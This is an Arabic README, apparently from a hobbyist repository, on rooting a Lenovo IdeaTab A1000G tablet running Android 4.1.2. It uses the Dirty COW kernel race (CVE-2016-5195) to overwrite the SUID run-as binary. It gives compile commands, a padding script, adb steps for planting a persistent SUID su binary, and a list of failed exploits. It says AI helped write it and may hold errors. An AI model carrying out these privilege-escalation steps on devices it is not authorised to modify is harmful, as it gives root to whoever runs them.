Lenovo IdeaTab A1000G — روت

ملاحظة: تم إنشاء هذه الوثائق وكود الاستغلال بمساعدة الذكاء الاصطناعي (Kiro). تحقق قبل الاستخدام — الذكاء الاصطناعي يمكنه ارتكاب الأخطاء وهو يفعل ذلك فعلًا.

الجهاز

الحقل	القيمة
الطراز	Lenovo IdeaTab A1000G
SoC	MediaTek MT8317 (= MT6517)
المعالج	ثنائي النواة Cortex-A9 بسرعة 1.2GHz
النواة	Linux 3.4.0
البناء	A1000G_A412_01_09_130907_2G
أندرويد	4.1.2 (Jelly Bean)

المتطلبات الأساسية

• تفعيل تصحيح USB
• اتصال ADB
• Android NDK r28+ في ~/Android/Sdk/ndk/
• ملف ثنائي ثابت busybox-armv7l (busybox.net/downloads/binaries/1.21.1/)

الاستغلال — CVE-2016-5195 (Dirty COW)

حالة سباق في مسار mmap/write الخاص بالنواة. تؤثر على الأنوية 2.6.22–4.8.3. الهدف: /system/bin/run-as (جذر SUID، 9448 بايتًا).

1. الترجمة

NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
CC=$NDK/armv7a-linux-androideabi21-clang

# dcow exploit
$CC -o dcow -static -march=armv7-a -mfloat-abi=softfp -O1 \
    -UPRINT -UDEBUG "-DLOGV(...)=printf(__VA_ARGS__)" \
    dcow_main.c dirtycow_android.c

# su binary
$CC -o su -march=armv7-a -mfloat-abi=softfp -Os -s -fno-pie -no-pie su2_src.c

2. حشو su إلى الحجم المستهدف (9448 بايت)

with open('su', 'rb') as f: data = f.read()
data = data + b'\x00' * (9448 - len(data))
with open('su_padded', 'wb') as f: f.write(data)

3. التشغيل

adb push dcow su_padded su /data/local/tmp/
adb shell chmod 755 /data/local/tmp/dcow /data/local/tmp/su_padded /data/local/tmp/su
adb shell "/data/local/tmp/dcow /data/local/tmp/su_padded /system/bin/run-as"
# Wait for: [+] Success!

4. تثبيت su بشكل دائم

# Enter root shell first
adb shell /system/bin/run-as

# Then:
mount -o remount,rw /system
toolbox dd if=/data/local/tmp/su of=/system/bin/su
toolbox chmod 6755 /system/bin/su
toolbox chown root:root /system/bin/su

5. تثبيت busybox (اختياري)

# From PC:
adb push busybox-armv7l /data/local/tmp/busybox

# From root shell:
toolbox dd if=/data/local/tmp/busybox of=/system/bin/busybox
toolbox chmod 755 /system/bin/busybox
/system/bin/busybox --install /system/bin/

الاستخدام

adb shell
/system/bin/run-as   # drops to root shell (#)
id                   # uid=0(root)

adb shell /system/bin/su -c cmd لا يعمل — ADB يُسقط setuid. يجب الدخول إلى قشرة تفاعلية أولًا.

ما بعد التجذير

• /system/bin/run-as ← تم استبداله (وظيفة run-as الأصلية معطّلة)
• /system/bin/su ← ملف su ثنائي دائم بصلاحية SUID
• /system/bin/busybox ← busybox 1.21.1

المحاولات الفاشلة

الطريقة	السبب
CVE-2013-1763 sock_diag	غير مُضمّنة في النواة
CVE-2013-6282 get_user/put_user	ldrt/strt محظوران على Cortex-A9
CVE-2014-3153 Towelroot	انهيار النواة — إزاحة iovstack في sendmmsg غير صحيحة لـ MTK
Framaroot AdbActivity	NullPointerException، غير متوافق
الكتابة فوق /proc/self/mem	عناوين النواة غير قابلة للوصول من فضاء المستخدم

الملفات

.
├── README.md
├── root.sh              # automated root script
├── dirtycow_android.c   # CVE-2016-5195 core (Arinerron fork)
├── dcow_main.c          # main() wrapper
└── su2_src.c            # su binary source

لا يتم تضمين ملفات ثنائية مجمّعة مسبقًا — قم بالترجمة من المصدر باستخدام الخطوات أعلاه.

المراجع

• مصدر CVE-2016-5195: Arinerron/CVE-2016-5195
• روم البرامج الثابتة (بناء مختلف، استُخدم فقط لاستخراج رموز النواة): Lenovo_A1000G_MT6577_01_24_130329 — رموز هذا الروم تعمل على البناء A412_01_09_130907 لأن كلاهما يشتركان في نفس التخطيط الافتراضي للنواة.